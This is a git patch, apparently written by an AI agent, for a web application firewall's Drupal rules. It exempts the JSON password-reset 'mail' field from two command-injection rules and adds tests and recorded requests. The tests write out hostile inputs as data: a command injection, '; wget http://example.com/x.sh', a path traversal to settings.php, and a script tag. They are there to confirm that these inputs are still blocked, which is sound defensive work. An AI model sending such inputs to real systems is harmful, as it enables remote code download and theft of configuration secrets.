From d70fb34f40ea925573616a1805c58196507fbc8b Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 10 Nov 2026 03:09:17 +0100 Subject: [PATCH] Core Rule Set: Drupal's JSON password reset takes an address (closes #262) POST /user/password?_format=json with a mail of python3@example.com or powershell@example.com was refused while bodies are read. On that path, the JSON field mail now skips 932120 and 932260, the two rules the recorded addresses set off, unless the query has a json.mail parameter. Recorded from Drupal 11.4.11. Model: opus-5-5 --- SPEC.md | 1 + internal/coreruleset/drupal.conf | 9 ++++ internal/coreruleset/drupal_test.go | 49 +++++++++++++++++-- .../coreruleset/testdata/drupal-requests.txt | 5 ++ 4 files changed, 61 insertions(+), 3 deletions(-) diff --git a/SPEC.md b/SPEC.md index af7e048..0a78d61 100644 --- a/SPEC.md +++ b/SPEC.md @@ -977,6 +977,7 @@ requests. The changes hold in front of every app, and no setting undoes them: - `name` and `pass` when signing in (930120, 932120, 932250, 932260). - `name` when resetting a password through Drupal's JSON format on `/user/password`, for the same four rules. + - `mail` in that same reset, for 932120 and 932260 only. - `name` when signing up, editing an account and commenting without an account, for the same four rules. - `mail` on those forms, for 930120, 932120 and 932260 only. diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf index 685fee6..3ee559c 100644 --- a/internal/coreruleset/drupal.conf +++ b/internal/coreruleset/drupal.conf @@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ ctl:ruleRemoveTargetById=932260;ARGS:json.name" + +# The same reset may name the account by its address in the JSON field mail: +# POST /user/password?_format=json with a mail of python3@example.com. An +# address skips only the two rules the recorded addresses set off. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ + "id:900818,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.mail "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.mail" diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 2bf644e..35aaa7e 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -182,13 +182,33 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { scriptTag, `; wget http://example.com/x.sh`, `../../sites/default/settings.php`, + } { + for _, field := range []string{"name", "mail"} { + r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} + body := `{"` + field + `":"` + attack + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } + } + + // An address keeps 932250, which refuses ls -la, and 930120, which + // refuses system file names. + for _, kept := range []struct { + value string + rule int + }{ + {"ls -la", 932250}, + {".htaccess@example.com", 930120}, } { r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} - body := `{"name":"` + attack + `"}` + body := `{"mail":"` + kept.value + `"}` got, _ := inspectBody(t, crs, r, body) - if got.Score < drupalThreshold { - t.Errorf("POST %s %s let through: %+v", r.target, body, got) + if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) { + t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule) } } } @@ -357,6 +377,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { t.Errorf("POST %s %s refused: %+v", r.target, body, got) } } + + for _, address := range []string{"python3@example.com", "powershell@example.com"} { + r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}} + body := `{"mail":"` + address + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } + } } func TestDrupalExclusionsAreNarrow(t *testing.T) { @@ -436,4 +466,17 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) { t.Errorf("POST %s let through: %+v", r.target, got) } } + + // So does the JSON field mail. + for _, target := range []string{ + drupalJSONPasswordReset + "&json.mail=python3%40example.com", + "/user/register?_format=json", + } { + r := request{http.MethodPost, target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } } diff --git a/internal/coreruleset/testdata/drupal-requests.txt b/internal/coreruleset/testdata/drupal-requests.txt index 3dc76f3..004769b 100644 --- a/internal/coreruleset/testdata/drupal-requests.txt +++ b/internal/coreruleset/testdata/drupal-requests.txt @@ -412,6 +412,11 @@ {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"} {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"

SELECT rows FROM table, then ls -la.

\", \"format\": \"basic_html\"}}}}"} {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}